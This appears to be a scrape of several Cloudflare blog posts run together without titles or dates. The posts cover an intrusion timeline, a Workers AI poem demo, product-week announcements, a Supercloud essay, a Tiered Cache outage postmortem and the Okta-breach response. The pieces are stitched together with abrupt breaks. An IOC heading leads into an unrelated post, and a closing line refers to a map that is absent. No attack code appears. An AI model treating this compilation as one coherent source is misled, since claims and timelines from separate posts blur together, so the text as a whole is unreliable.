15:58 - The threat actor adds the Smartsheet service account to an administrator group.16:00 - Automated alert about the change at 15:58 to our security team.16:12 - Cloudflare SOC starts investigating the alert.16:35 - Smartsheet service account deactivated by Cloudflare SOC.17:23 - The threat actor-created Atlassian user account is found and deactivated.17:43 - Internal Cloudflare incident declared.21:31 - Firewall rules put in place to block the threat actor’s known IP addresses.

10:44 - Last known threat actor activity.11:59 - Sliver removed.

Throughout this timeline, the threat actor tried to access a myriad of other systems at Cloudflare but failed because of our access controls, firewall rules, and use of hard security keys enforced using our own Zero Trust tools.

To be clear, we saw no evidence whatsoever that the threat actor got access to our global network, data centers, SSL keys, customer databases or configuration information, Cloudflare Workers deployed by us or customers, AI models, network infrastructure, or any of our datastores like Workers KV, R2 or Quicksilver. Their access was limited to the Atlassian suite and the server on which our Atlassian runs.

A large part of our “Code Red” effort was understanding what the threat actor got access to and what they tried to access. By looking at logging across systems we were able to track attempted access to our internal metrics, network configuration, build system, alerting systems, and release management system. Based on our review, none of their attempts to access these systems were successful. Independently, CrowdStrike performed an assessment of the scope and extent of the threat actor’s activity, which did not bring to light activities that we had missed and concluded that the last evidence of threat activity was on November 24 at 10:44.

We are confident that between our investigation and CrowdStrike’s, we fully understand the threat actor’s actions and that they were limited to the systems on which we saw their activity.

This was a security incident involving a sophisticated actor, likely a nation-state, who operated in a thoughtful and methodical manner. The efforts we have taken ensure that the ongoing impact of the incident was limited and that we are well-prepared to fend off any sophisticated attacks in the future. This required the efforts of a significant number of Cloudflare’s engineering staff, and, for over a month, this was the highest priority at Cloudflare. The entire Cloudflare team worked to ensure that our systems were secure, the threat actor’s access was understood, to remediate immediate priorities (such as mass credential rotation), and to build a plan of long-running work to improve our overall security based on areas for improvement discovered during this process.

We are incredibly grateful to everyone at Cloudflare who responded quickly over the Thanksgiving holiday to conduct an initial analysis and lock out the threat actor, and all those who contributed to this effort. It would be impossible to name everyone involved, but their long hours and dedicated work made it possible to undertake an essential review and change of Cloudflare’s security while keeping our global network running and our customers’ service running.

We are grateful to CrowdStrike for having been available immediately to conduct an independent assessment. Now that their final report is complete, we are confident in our internal analysis and remediation of the intrusion and are making this blog post available.

IOCsBelow are the Indications of Compromise (IOCs) that we saw from this threat actor. We are publishing them so that other organizations, and especially those that may have been impacted by the Okta breach, can search their logs to confirm the same threat actor did not access their systems.

Matthew and Michelle, co-founders of Cloudflare, published their annual founders’ letter today. The letter ends with a poem written by an AI running using Workers AI on Cloudflare’s global network.

Here’s the code that wrote the poem. It uses Workers AI and the Meta Llama 2 model with 7B parameters and 8-bit integers. Just 14 lines of code running on the Cloudflare global network, and you’ve got your very own AI to chat with.

import { Ai } from "@cloudflare/ai";

export default {
    async fetch(request: Request, env: Env): Promise<Response> {
        const body = await request.json();
        const ai = new Ai(env.AI);
        const response = await ai.run("@cf/meta/llama-2-7b-chat-int8", body);
        return new Response(JSON.stringify(response));
    },
};

export interface Env {
    AI: any;
}

That was deployed on Workers AI and all I had to do was ask for poems. Here’s my terminal output (with just the domain name changed).

% curl -X POST https://example.com/ -d '{"prompt":"Write a poem \
that talks about the connectivity cloud"}' | jq -r .response

Cloud computing provides a connectivity that's unmatched,

A bridge that spans the globe with ease and grace.

It brings us closer, no matter where we are,

And makes the world a smaller, more intimate place.

With just a click, we can connect and share,

Our thoughts and ideas, our hopes and dreams.

The cloud unites us, in a way that's fair,

And makes the world a more harmonious theme.

So let us embrace this connectivity,

And use it to build a better world for all.

For in the cloud, we find a unity,

That can help us reach new heights, and stand tall.

% curl -X POST https://example.com/ -d '{"prompt":"Write a poem \
that talks about the connectivity cloud and contrast it with the  \
captivity cloud"}' | jq -r .response

The connectivity cloud, a wondrous sight to see,

Where data flows and knowledge is set free,

A place where minds meet and ideas take flight,

A world of endless possibility in sight.

But then there's the captivity cloud, a darker place,

Where thoughts are trapped and minds are in disgrace,

A prison of the mind, where freedom's lost,

A world of endless sorrow and cost.

So let us choose the connectivity cloud,

And let our minds be free and allowed,

To soar and glide and reach for the sky,

And never be held back, but always fly.

% curl -X POST https://example.com/ -d '{"prompt":"Write a poem \
that talks about the connectivity cloud and contrast it with the  \
captivity cloud using Elizabethan English"}' | jq -r .response

In the connectivity cloud, I find my peace,

Where thoughts and dreams and hopes do cease to flee.

The captivity cloud doth but darken my day,

With chains of sorrow that will not away.

In the connectivity cloud, I find my home,

Where love and joy and laughter do make their moan.

The captivity cloud doth but lock me in,

With sorrow's shackles that will not give in.

In the connectivity cloud, I find my fate,

Where fortune smiles and misery doth wait.

The captivity cloud doth but bring me woe,

With darkness that will not let me go.

In the connectivity cloud, I find my heart,

Where love and hope and joy do play their part.

The captivity cloud doth but tear it apart,

With sorrow's hand that will not let it start.

% curl -X POST https://example.com/ -d '{"prompt":"Write a poem \
that talks about the connectivity cloud and contrast it with the  \
captivity cloud in the style of Lord Byron"}' | jq -r .response

In the realm of the cloud, where data reigns supreme,

A new divide has emerged, a digital dream,

The connectivity cloud, a place of delight,

Where knowledge and wisdom take flight.

But then there's the captivity cloud, a darker hue,

Where privacy and security are hard to pursue,

A prison of sorts, where freedom's light is lost,

And data's secrets are forever crossed.

Yet still, we cling to the captivity cloud,

For in its depths, we find a measure of proof,

That though the connectivity cloud may be bright,

The captivity cloud holds a certain allure in sight.

So let us embrace both, the light and the dark,

For in their union, we find a digital spark,

That illuminates the path to a brighter day,

Where knowledge and privacy reign in a digital way.

What are you going to build on Workers AI? It’s ready and waiting. We’ll help you go from idea to deployed in minutes.

If you want to know exactly how to deploy something like this read the Workers AI announcement blog.

Having been at Cloudflare since it was tiny it’s hard to believe that we’re hitting our teens! But here we are 13 years on from launch. Looking back to 2010 it was the year of iPhone 4, the first iPad, the first Kinect, Inception was in cinemas, and TiK ToK was hot (well, the Kesha song was). Given how long ago all that feels, I'd have a hard time predicting the next 13 years, so I’ll stick to predicting the future by creating it (with a ton of help from the Cloudflare team).

Building the future is, in part, what Birthday Week is about. Over the past 13 years we’ve announced things like Universal SSL (doubling the size of the encrypted web overnight and helping to usher in the largely encrypted web we all use; Cloudflare Radar shows that worldwide 99% of HTTP requests are encrypted), or Cloudflare Workers (helping change the way people build and scale applications), or unmetered DDoS protection (to help with the scourge of DDoS).

This year will be no different.

Winding back to the year I joined Cloudflare we made our first Birthday Week announcement: our automatic IPv6 gateway. Fast-forward to today and Cloudflare Radar says that 37% of connections to Cloudflare use IPv6, so this year there’s a special offer to help make IPv6 ever more widespread and counter those who’d try to bind us to IPv4. So let’s build an IPv6 future together.

Last year we announced Turnstile, our privacy-preserving replacement for CAPTCHAs. This year we’ll be closing a big privacy hole in the encrypted Internet and showing how cryptography can be used to make measurements anonymous and private. Plus even more encrypted, anonymous connections from your computer to the Internet. And there’s more on what’s next for Turnstile itself, and helping make fonts faster and more private too. So let’s build a privacy-preserving Internet together.

AI, of course, is a huge topic and one quarter of all this week's blog posts are about AI, machine learning, GPUs, and all things building, managing, and measuring applications that use AI and machine learning. If it’s not obvious already, it will be after this week: the future involves AI everywhere, on device, in the cloud, and deep inside the Cloudflare global network.

Cloudflare WARP wasn’t a Birthday Week announcement (it was one of our April 1 releases like 1.1.1.1) but this year we’ll be switching from Star Trek to Star Wars with a new product called Hyperdrive. You’ll have to wait until Thursday to read all about it. But if you love databases, you’ll want to make the jump to lightspeed with us.

Speaking of speed… speed! It’s not all AI, privacy, and cool products. We also need to continue our mission to explore strange new worlds help make everyone’s use of the Internet faster. So, we’ll update you on our network performance, talk about how we keep our network running smoothly in face of ever-changing Internet weather, help you stream with low latency, and use caching in new smart ways.

Lastly, we’ll be talking about the impact of Cloudflare on the climate and our climate commitments. Helping with climate change is yet another thing we need to do together.

And, of course, there’s much more than just that. But I wouldn’t want to spoil the birthday surprise by unwrapping the blogs early.

The 1947 paper titled “Preparation of Problems for EDVAC-Type Machines” talks about the idea and usefulness of a “subroutine”. At the time there were only a tiny number of computers worldwide and subroutines were a novel idea, and it was clear that these subroutines were going to make programmers more productive: “Many operations which are thus excluded from the built-in set are still of sufficiently frequent occurrence to make undesirable the repetition of their coding in detail.”

Looking back it seems amazing that subroutines had to be invented, but at the time programmers wrote literally everything they needed to complete a task. That made programming slow, error-prone and restricted who could be a programmer to a relatively small group of people.

Luckily, things changed.

You can look at the history of computer programming as improvements in programmer productivity and widening the scope of who is a programmer. Think of syntax highlighting, high-level languages, IDEs, libraries and frameworks, APIs, Visual Basic, code completion, refactoring tools, spreadsheets, and so on.

And here we are with things changing again.

The recent arrival of LLMs capable of assisting programmers in writing, debugging and modifying code is yet another step. It’s a step at both making programmers more productive and helping more people be programmers.

As programmers a lot of what we do is arcane.

Sure, we have helped create the modern world, but we spend a lot of time on things that actually exclude many from being programmers. Think of how many times you’ve messed up syntax, misinterpreted the result of calling a function, or made an off-by-one error in a loop.

And we’re expected to operate at a concrete and abstract level simultaneously. We hold the architecture and state of a system in our heads, imagining the program as data flows through it, and worry about a missing semicolon.

This is, frankly, weird.

That weirdness is partly why the children’s programming language Scratch eliminates much of the arcana. It’s designed to stop the user making small mistakes that add up to not making progress on a program. Its on-screen shapes are designed to show how a program flows and loops. What if AI eliminates much of our odd work and lets people concentrate on the thing they are creating?

I think that would be wonderful and would open the world of programming to many, many more people. But we’re not there yet. We’re at the point where AIs are hugely helpful assistants in the traditional art of programming. And this week Cloudflare will introduce its own AI assistants to make programmers using Cloudflare Workers much more productive. And these assistants are going to help more people use the Cloudflare Developer Platform.

A developer platform without AI isn’t going to be much use. It’ll be a bit like a developer platform that can’t do floating point arithmetic, or handle a list of data. We’re going to see every developer platform have AI capability built in because these capabilities will allow developers to make richer experiences for users.

If you’ve used a phone’s picture library recently you’ve probably discovered that you can search by what’s in an image. Type ‘cat’ and you can see all the cat pictures you’ve taken. Image classification like this is an example of the sort of functionality that a developer platform should provide so that a programmer can build a productive and exciting experience for their users.

That’s why this week we’ll be announcing AI features built directly into the Cloudflare Workers platform so that developers have a rich toolset at their disposal. And they’ll be able to train and upload their own models to run on our global network.

AI systems, by their nature, require a lot of data both for training and for executing models. Think giga- to petabytes. And a lot of that data needs to move around. Unlike a database where data might largely be stored and accessed infrequently, AI systems are alive with moving data.

To accommodate that, platforms need to stop treating data as something to lock in developers with. Data needs to be free to move from system to system, from platform to platform, without transfer fees, egress or other nonsense. If we want a world of AI, we need a world of data fluidity. We’ll look this week at how Cloudflare (including our R2) enables that.

I like to think (it has to be!)

As I look back at 40 years of my programming life, I haven’t been this excited about a new technology… ever. That’s because AI is going to be a pervasive change to how programs get written, who writes programs and how all of us interact with software.

In a talk, Andrew Ng called AI “The New Electricity”. Does that seem exaggerated? I don’t think so. Electricity utterly altered work and life for everyone and has become so much part of life that when electricity supplies fail it’s a shock.

AI is going to have a similarly profound effect on the way we live and work, and will be equally pervasive. And AI is already here, not just in the form of ChatGPT and Google Bard, but through machine translation, agents like Siri and Alexa, and a myriad of unseen systems that do something humans can’t do: keep up with the speed of the Internet helping to protect it and us.

And, I predict, AI is going to help people be smarter. That effect has already been seen with the ancient game Go. In 2016, one of the world’s strongest Go players, Lee Sedol, was beaten by AlphaGo and later retired. But something interesting has happened: Go players playing against AI are getting stronger. Humans are learning new strategies and improving.

I think AI has the potential to do that for all of us. And for programmers I think it’ll make us more productive and make more people programmers.

Which makes me wonder what a 2047 paper entitled “Preparation of Programs for NEURAL-Type Machines” will introduce. What new exciting way of programming is there for us to discover in the next few years? What cybernetic ecology will be created that makes the flow of ideas from the brain to silicon so much quicker?

In Cloudflare’s S-1 document there’s a section that begins: “The Internet was not built for what it has become”.

That sentence expresses the idea that the Internet, which started as an experiment, has blossomed into something we all need to rely upon for our daily lives and work. And that more is needed than just the Internet as was designed; it needed security and performance and privacy.

Something similar can be said about the cloud: the cloud was not designed for what it must become.

The introduction of services like Amazon EC2 was undoubtedly a huge improvement on the old way of buying and installing racks and racks of servers and storage systems, and then maintaining them.

But by its nature the cloud was a virtualization of the older real world infrastructure and not a radical rethink of what computing should look like to meet the demands of Internet-scale businesses. It’s as if steam locomotives were replaced with efficient electric engines but still required a chimney on top and stopped to take on water every two hundred miles.

The cloud replaced the rituals of buying servers and installing operating systems with new and now familiar rituals of choosing regions, and provisioning virtual machines, and keeping code artificially warm.

But along the way glimpses of light are seen through the cloud in the form of lambdas, or edges, or functions, or serverless. All are trying to give a name to a model of cloud computing that promises to make developers highly productive at scaling from one to Internet-scale. It’s a model that rather than virtualizing machines or disks or wrapping things in containers says: “write code, we’ll run it, don’t sweat the details like scaling or location”.

We’re calling that the Supercloud.

The foundations of the Supercloud are compute and data services that make running any size application efficient and infinitely scalable without the baggage of the cloud as it exists today.

Some years ago a movement called NoSQL developed new ways of storing and processing data that didn’t rely on databases. Key-value stores and document stores flourished because rather than thinking about data at the granularity of databases or tables or even rows, they made a direct connection between code and data at a simple level.

You can think of NoSQL as a drive towards granularity. And it worked. NoSQL stores, KVs, object stores (like R2) abound. The rise of MapReduce for processing data is also about granularity; by breaking data processing into easily scaled pieces (the map and the reduce) it was possible to handle huge amounts of data efficiently and scale up and down as needed.

The same thing is happening for cloud code. Just as programmers didn’t always want to think in database-sized chunks, they shouldn’t have to think about VM- or container-sized chunks. It’s inefficient and has nothing to do with the actual job of writing code to create a service. It’s unnecessary work that distracts from the real value of programming something into existence.

In distributed programming theory, granularity has been around for a long time. The CSP model is of tiny processes performing tasks and passing data (it helped inspire the Go language); the Actor model has messages passed between multitudes of actors changing internal state; even the lambda calculus is about discrete functions acting on data.

Object-oriented programming has developers reasoning about objects (not virtual machines or disks). And in CORBA, and similar systems, there’s the concept of an object request broker allowing objects to run and be accessed remotely in a distributed system without knowing details of where or how the object executes.

The theory of computing points away from dedicated machines (virtual or real) and to code and data that run on the Supercloud handling the details of code execution and data locality automatically and efficiently.

So whether you write your code by breaking it up into functions or ship large pieces of functionality or entire programs, the foundations of the Supercloud means that your code benefits from its efficiency. And more.

The Supercloud makes scaling easy because no one has to think about how many VMs to provision, no one has to keep hot standby VMs in case there's a flood of visitors. Just as MapReduce (which traces its heritage to the lambda calculus) scales up and down, so should general purpose computing.

And it’s not just about scaling. In the Supercloud both code and data are mobile and move around the network. Attach data to the code (such as with Durable Objects; hello Actor model) and you have a foundation for applications that can scale to any size and move close to users as needed to provide the best performance.

Alternatively, if your data is immovable, we move your code closer to it, no matter how many times you need to access it.

Not only that but working at this level of flexibility means that code enforcing a data privacy or data residence law about where data can be processed or stored can operate at the level of individual users or objects. The same code can behave differently and even be executed in a completely different country based on where its associated data is stored.

A Supercloud has two interesting effects on the cost of running a program. Firstly, it makes it more economical because you only run what you need. There’s never any need for committed VMs waiting for work, or idle machines you’re paying for just in case. Code either runs or it doesn’t. It scales up and down as needed. You only pay for precisely what you need.

Secondly, it creates a more efficient compute platform which is better for everyone. It forces the compute platform (e.g. us) to be as efficient as possible. We have to be able to start code quickly for performance and scale up reasons. We need to efficiently use CPUs because no customer is paying us to keep idle CPUs around. And it’s better for the environment because cloud machines run at very high levels of utilization. This level of efficiency is what allows our platform to scale to the 10 million requests that Cloudflare Workers processed in the time it took you to read the last word of this sentence.

And this compute platform scales well beyond a machine, or a data center, or a country. With the right software (which we’ve built) it scales to the size of the Internet. Software allocates resources automatically across the globe, moving connections, data and processing around for high efficiency and optimal end user experience.

Efficient compute and storage, a global network that’s everywhere everyone is, bound together by software that turns the globe into a single cloud. The Supercloud.

The Supercloud is performant, scalable, available, private, and cost-efficient. Choosing a region for your application, or provisioning virtual machines, or working out how to auto-scale containers, or worrying about cold starts seems ridiculous, hard, anachronistic, a waste of time, rigid and expensive.

Happily, Cloudflare’s been building the alternative to that traditional cloud into our network and our developer platform for years. The Supercloud. The term may be new, but that doesn’t mean that it’s not real. Today, we have over a million developers building on the Supercloud.

Each of those developers wants to get code running on one machine and perfect it. It’s so much easier to work that way. We just happen to have one machine that scales to the size of the Internet: a global, distributed supercomputer. It’s the Supercloud and we build our own products on it, and you can join those one million developers and build on it too.

We’ve been building the Supercloud for 12 years, and five years ago opened it up to developers through Cloudflare Workers. Cloudflare Workers was built for scale and performance since day one, by running on our global network.

And with that, welcome to the Supercloud and welcome to Cloudflare Developer Week 2022.

As is the case with all of our Innovation Weeks, we’re excited to kick off another week of announcements, enabling more and more use cases to be built on the Supercloud. In fact, it’s building on the Workers developer platform that gives us the super powers to continue delivering new building blocks for our users. This week, we’re not just going to tell you about all the new tools you can play with, but also how we built many of them, how you can use them, and what our customers are building with them in production today.

You can watch the complete segment of our weekly show This Week in Net here — or hear it in the audio/podcast format.

Today, a change to our Tiered Cache system caused some requests to fail for users with status code 530. The impact lasted for almost six hours in total. We estimate that about 5% of all requests failed at peak. Because of the complexity of our system and a blind spot in our tests, we did not spot this when the change was released to our test environment.  

The failures were caused by side effects of how we handle cacheable requests across locations. At first glance, the errors looked like they were caused by a different system that had started a release some time before. It took our teams a number of tries to identify exactly what was causing the problems. Once identified we expedited a rollback which completed in 87 minutes.

We’re sorry, and we’re taking steps to make sure this does not happen again.

One of Cloudflare’s products is our Content Delivery Network, or CDN. This is used to cache assets for websites globally. However, a data center is not guaranteed to have an asset cached. It could be new, expired, or has been purged. If that happens, and a user requests that asset, our CDN needs to retrieve a fresh copy from a website’s origin server. But the data center that the user is accessing might still be pretty far away from the origin server. This presents an additional issue for customers: every time an asset is not cached in the data center, we need to retrieve a new copy from the origin server.

To improve cache hit ratios, we introduced Tiered Cache. With Tiered Cache, we organize our data centers in the CDN into a hierarchy of “lower tiers” which are closer to the end users and “upper tiers” that are closer to the origin. When a cache-miss occurs in a lower tier, the upper tier is checked. If the upper tier has a fresh copy of the asset, we can serve that in response to the request. This improves performance and reduces the amount of times that Cloudflare has to reach out to an origin server to retrieve assets that are not cached in lower tier data centers.

At 08:40 UTC, a software release of a CDN component containing a bug began slowly rolling out. The bug was triggered when a user visited a site with either Tiered Cache, Cloudflare Images, or Bandwidth Alliance configured. This bug caused a subset of those customers to return HTTP Status Code 530 — an error. Content that could be served directly from a data center's local cache was unaffected.

We started an investigation after receiving customer reports of an intermittent increase in 530s after the faulty component was released to a subset of data centers.

Once the release started rolling out globally to the remaining data centers, a sharp increase in 530s triggered alerts along with more customer reports, and an incident was declared.

Requests resulting in a response with status code 530

We confirmed a bad release was responsible by rolling back the release in a data center at 17:03 UTC. After the rollback, we observed a drop in 530 errors. After this confirmation, an accelerated global rollback began and the 530s started to decrease. Impact ended once the release was reverted in all data centers configured as Tiered Cache upper tiers at 18:04 UTC.

Timeline:

• 2022-10-25 08:40: The release started to roll out to a small subset of data centers.

• 2022-10-25 10:35: An individual customer alert fires, indicating an increase in 500 error codes.

• 2022-10-25 11:20: After an investigation, a single small data center is pinpointed as the source of the issue and removed from production while teams investigate the issue there.

• 2022-10-25 12:30: Issue begins spreading more broadly as more data centers get the code changes.

• 2022-10-25 14:22: 530s errors increase as the release starts to slowly roll out to our largest data centers.

• 2022-10-25 14:39: Multiple teams become involved in the investigation as more customers start reporting increases in errors.

• 2022-10-25 17:03: CDN Release is rolled back in Atlanta and root cause is confirmed.

• 2022-10-25 17:28: Peak impact with approximately 5% of all HTTP requests resulting in an error with status code 530.

• 2022-10-25 17:38: An accelerated rollback continues with large data centers acting as Upper tier for many customers.

• 2022-10-25 18:04: Rollback is complete in all Upper Tiers.

• 2022-10-25 18:30: Rollback is complete.

During the early phases of the investigation, the indicators were that this was a problem with our internal DNS system that also had a release rolling out at the same time. As the following section shows, that was a side effect rather than the cause of the outage.  

In order to help improve our performance, we routinely add monitoring code to various parts of our services. Monitoring code helps by giving us visibility into how various components are performing, allowing us to determine bottlenecks that we can improve on. Our team recently added additional distributed tracing to our Tiered Cache logic. The tiered cache entrypoint code is as follows:

* Before:

function _M.go()
   -- code to run here
end

* After:

local trace_fn = require("opentracing").trace_fn

local function go()
  -- code to run here
end

function _M.go()
  trace_fn(ngx.ctx, "tiered_cache_rewrite", go)
end

The code above wraps the existing go() function with trace_fn() which will call the go() function and then reports its execution time.

However, the logic that injects a function to the opentracing module clears control headers on every request:

require("opentracing").configure_module(conf,
  -- control header extractor
  function(ctx)
    -- Always clear the headers.
    clear_control_headers()
    -- 

Normally, we extract data from these control headers before clearing them as a routine part of how we process requests.

But internal tiered cache traffic expects the control headers from the lower tier to be passed as-is. The combination of clearing headers and using an upper tier meant that information that might be critical to the routing of the request was not available. In the subset of requests affected, we were missing the hostname to resolve by our internal DNS lookup for origin server IP addresses. As a result, a 530 DNS error was returned to the client.

To prevent this from happening again, in addition to the fixing the bug, we have identified a set of changes that help us detect and prevent issues like this in the future:

• Include a larger data center that is configured as a Tiered Cache upper tier in an earlier stage in the release plan. This will allow us to notice similar issues more quickly, before a global release.

• Expand our acceptance test coverage to include a broader set of configurations, including various Tiered Cache topologies.

• Alert more aggressively in situations where we do not have full context on requests, and need the extra host information in the control headers.

• Ensure that our system correctly fails fast in an error like this, which would have helped identify the problem during development and test.

We experienced an incident that affected a significant set of customers using Tiered Cache. After identifying the faulty component, we were able to quickly rollback and remediate the issue. We are sorry for any disruption this has caused our customers and end users trying to access services.

Remediations to prevent such an incident from happening in the future will be put in place as soon as possible.

Almost a teen. With Cloudflare’s 12th birthday last Tuesday, we’re officially into our thirteenth year. And what a birthday we had!

36 announcements ranging from SIM cards to post quantum encryption via hardware keys and so much more. Here’s a review of everything we announced this week.

We had so much over the week that we had to add just one more day, with a big focus on cryptography: not only how clients connect to our network, but also how Cloudflare connects to customer origins.

And that’s it for Birthday Week 2022. But it’s not over for Cloudflare Innovation Weeks this year; stay tuned for a week of developer goodies coming soon.

Of course, that chart doesn’t show everything we’ve shipped, but the curve demonstrates a truth about a growing company: we keep shipping more and more products and services. Some of those things start with a beta, sometimes open and sometimes private. But all of them become generally available after the beta period.

Back in, say, 2014, we only had a few major releases per year. But as the years have progressed and the company has grown we have constant updates, releases and changes. This year a confluence of products becoming generally available in September meant it made sense to wrap them all up into GA Week.

GA Week has now finished, and the team is working to put the finishing touches on Birthday Week (coming this Sunday!), but here’s a recap of everything that we launched this week.

Of course, you won’t have to wait a year for more products to become GA. We’ll be shipping betas and making products generally available throughout the year. And we’ll continue iterating on our products so that all of them become leaders.

As we said at the start of GA Week:

“But it’s not just about making products work and be available, it’s about making the best-of-breed. We ship early and iterate rapidly. We’ve done this over the years for WAF, DDoS mitigation, bot management, API protection, CDN and our developer platform. Today, analyst firms such as Gartner, Forrester and IDC recognize us as leaders in all those areas.”

Now, onwards to Birthday Week!

Cloudflare ships a lot of products. Some of those products are shipped as beta, sometimes open, sometimes closed, and our huge customer base gives those betas an incredible workout. Making products work at scale, and in the heterogeneous environment of the real Internet is a challenge. We’re lucky to have so many enthusiastic customers ready to try out our betas.

And when those products exit beta they’re GA or Generally Available. This week you’ll be hearing a lot about products becoming GA.

But it’s not just about making products work and be available, it’s about making the best-of-breed. We ship early and iterate rapidly. We’ve done this over the years for WAF, DDoS mitigation, bot management, API protection, CDN and our developer platform. Today analyst firms such as Gartner, Forrester and IDC recognize us as leaders in all those areas.

That’s one reason we’re trusted by the likes of Broadcom, NCR, DHL Parcel, Panasonic, Canva, Shopify, L'Oréal, DoorDash, Garmin and more.

Over the years we’ve heard criticism that we’re the new kid on the block. The latest iteration of that is Zero Trust vendors seeing us as novices. It sounds all too familiar. It’s what the DDoS, WAF, bot management, DNS, API protection, and serverless vendors used to say before we blew past them.

We innovate fast because we built a structure and culture that allows it. Cloudflare operates three main innovation teams (Product/Engineering, Emerging Technology and Incubation, and Technology/Research) that work on projects with differing time horizons. We encourage innovation from outside those teams as well.

In a week’s time it’ll be Cloudflare’s 12th birthday and, as every year, we’ll have a Birthday Week when we’ll announce radically new and different products that are likely to cause a great deal of surprise. The teams above have been working hard on things that will change how people think about Cloudflare.

But before we get there, you’re going to hear about products that are out of beta and generally available. Most of these things have been announced before, here on this blog. But they were in beta.

Now they’re ready for everyone.

In fact, we had so many products becoming generally available that we decided to create a new Innovation Week: Cloudflare GA Week. We’ll still keep making products Generally Available throughout the year, but this year, at least, we have a bonanza week of products that are ready.

Even during the beta these products have been in use by real customers, and you’ll be hearing from them this week as well. It’s always inspiring to see how our products are used. It’s one thing to build a product, it’s fascinating to work with customers on how they’ll use it and what it enables them to do.

We aren’t going to be satisfied until every one of the products we talk about is best of breed and a leader in its own category. Together they form Cloudflare’s platform, a platform which is unmatched by anyone in the industry.

Here’s a short list of recent technical blog posts to give you something to read today.

Microsoft has announced the end-of-life for the venerable Internet Explorer browser. Here we take a look at the demise of IE and the rise of the Edge browser. And we investigate how many bots on the Internet continue to impersonate Internet Explorer versions that have long since been replaced.

Looking for something with a lot of technical detail? Look no further than this blog about live-patching the Linux kernel using eBPF. Code, Makefiles and more within!

Feeling mathematical? Or just need a dose of CPU-level antics? Look no further than this deep explainer about how CPU frequency scaling leads to a nasty side channel affecting cryptographic algorithms.

The HTTP standard for Early Hints shows a lot of promise. How much? In this blog post, we dig into data about Early Hints in the real world and show how much faster the web is with it.

Dislike CAPTCHAs? Yes, us too. As part of our program to eliminate captures there’s a new standard: Private Access Tokens. This blog shows how they work and how they can be used to prove you’re human without saying who you are.

Network nerd? Yeah, me too. Here’s a very in depth look at how we tune TCP parameters for low latency and high throughput.

...We protect entire corporate networks, help customers build Internet-scale applications efficiently, accelerate any website or Internet application, ward off DDoS attacks, keep hackers at bay, and can help you on your journey to Zero Trust.

Visit 1.1.1.1 from any device to get started with our free app that makes your Internet faster and safer.To learn more about our mission to help build a better Internet, start here. If you’re looking for a new career direction, check out our open positions.

Our understanding is that during January 2022, hackers outside Okta had access to an Okta support employee’s account and were able to take actions as if they were that employee. In a screenshot shared on social media, a Cloudflare employee’s email address was visible, along with a popup indicating the hacker was posing as an Okta employee and could have initiated a password reset.

We learnt of this incident via Cloudflare’s internal SIRT. SIRT is our Security Incident Response Team and any employee at Cloudflare can alert SIRT to a potential problem. At exactly 03:30 UTC, a Cloudflare employee emailed SIRT with a link to a tweet that had been sent at 03:22 UTC. The tweet indicated that Okta had potentially been breached. Multiple other Cloudflare employees contacted SIRT over the following two hours.

The following timeline outlines the major steps we took following that initial 03:30 UTC email to SIRT.

03:30 - SIRT receives the first warning of the existence of the tweets.

03:38 - SIRT sees that the tweets contain information about Cloudflare (logo, user information).

03:41 - SIRT creates an incident room to start the investigation and starts gathering the necessary people.

03:50 - SIRT concludes that there were no relevant audit log events (such as password changes) for the user that appears in the screenshot mentioned above.

04:13 - Reached out to Okta directly asking for detailed information to help our investigation.

04:23 - All Okta logs that we ingest into our Security Information and Event Management (SIEM) system are reviewed for potential suspicious activities, including password resets over the past three months.

05:03 - SIRT suspends accounts of users that could have been affected.

We temporarily suspended access for the Cloudflare employee whose email address appeared in the hacker’s screenshots.

05:06 - SIRT starts an investigation of access logs (IPs, locations, multifactor methods) for the affected users.

05:38 - First tweet from Matthew Prince acknowledging the issue.

Because it appeared that an Okta support employee with access to do things like force a password reset on an Okta customer account had been compromised, we decided to look at every employee who had reset their password or modified their Multi-Factor Authentication (MFA) in any way since December 1 up until today. Since Dec. 1, 2021, 144 Cloudflare employees had reset their password or modified their MFA. We forced a password reset for them all and let them know of the change.

05:44 - A list of all users that changed their password in the last three months is finalized. All accounts were required to go through a password reset.

06:40 - Tweet from Matthew Prince about the password reset.

07:57 - We received confirmation from Okta that there were no relevant events that may indicate malicious activity in their support console for Cloudflare instances.

Cloudflare uses Okta internally as our identity provider, integrated with Cloudflare Access to guarantee that our users can safely access internal resources. In previous blog posts, we described how we use Access to protect internal resources and how we integrated hardware tokens to make our user authentication process more resilient and prevent account takeovers.

In the case of the Okta compromise, it would not suffice to just change a user's password. The attacker would also need to change the hardware (FIDO) token configured for the same user. As a result it would be easy to spot compromised accounts based on the associated hardware keys.

Even though logs are available in the Okta console, we also store them in our own systems. This adds an extra layer of security as we are able to store logs longer than what is available in the Okta console. That also ensures that a compromise in the Okta platform cannot alter evidence we have already collected and stored.

Okta is not used for customer authentication on our systems, and we do not store any customer data in Okta. It is only used for managing the accounts of our employees.

The main actions we took during this incident were:

1. Reach out to Okta to gather more information on what is known about the attack.

2. Suspend the one Cloudflare account visible in the screenshots.

3. Search the Okta System logs for any signs of compromise (password changes, hardware token changes, etc.). Cloudflare reads the system Okta logs every five minutes and stores these in our SIEM so that if we were to experience an incident such as this one, we can look back further than the 90 days provided in the Okta dashboard. Some event types within Okta that we searched for are: user.account.reset_password, user.mfa.factor.update, system.mfa.factor.deactivate, user.mfa.attempt_bypass, and user.session.impersonation.initiate. It’s unclear from communications we’ve received from Okta so far who we would expect the System Log Actor to be from the compromise of an Okta support employee.

4. Search Google Workplace email logs to view password resets. We confirmed password resets matched the Okta System logs using a separate source from Okta considering they were breached, and we were not sure how reliable their logging would be.

5. Compile a list of Cloudflare employee accounts that changed their passwords in the last three months and require a new password reset for all of them. As part of their account recovery, each user will join a video call with the Cloudflare IT team to verify their identity prior to having their account re-enabled.

If you are also an Okta customer, you should reach out to them for further information. We advise the following actions:

1. Enable MFA for all user accounts. Passwords alone do not offer the necessary level of protection against attacks. We strongly recommend the usage of hard keys, as other methods of MFA can be vulnerable to phishing attacks.

2. Investigate and respond:a. Check all password and MFA changes for your Okta instances.b. Pay special attention to support initiated events.c. Make sure all password resets are valid or just assume they are all under suspicion and force a new password reset.d. If you find any suspicious MFA-related events, make sure only valid MFA keys are present in the user's account configuration.

3. Make sure you have other security layers to provide extra security in case one of them fails.

Cloudflare’s Security and IT teams are continuing to work on this compromise. If further information comes to light that indicates compromise beyond the January timeline we will publish further posts detailing our findings and actions.

We are also in contact with Okta with a number of requests for additional logs and information. If anything comes to light that alters our assessment of the situation we will update the blog or write further posts.

For reference, here is a map of Ukraine showing its major cities. Note that whenever we talk about dates and times in this post, we are using UTC. Ukraine’s current time zone is UTC+2.

© OpenStreetMap contributors

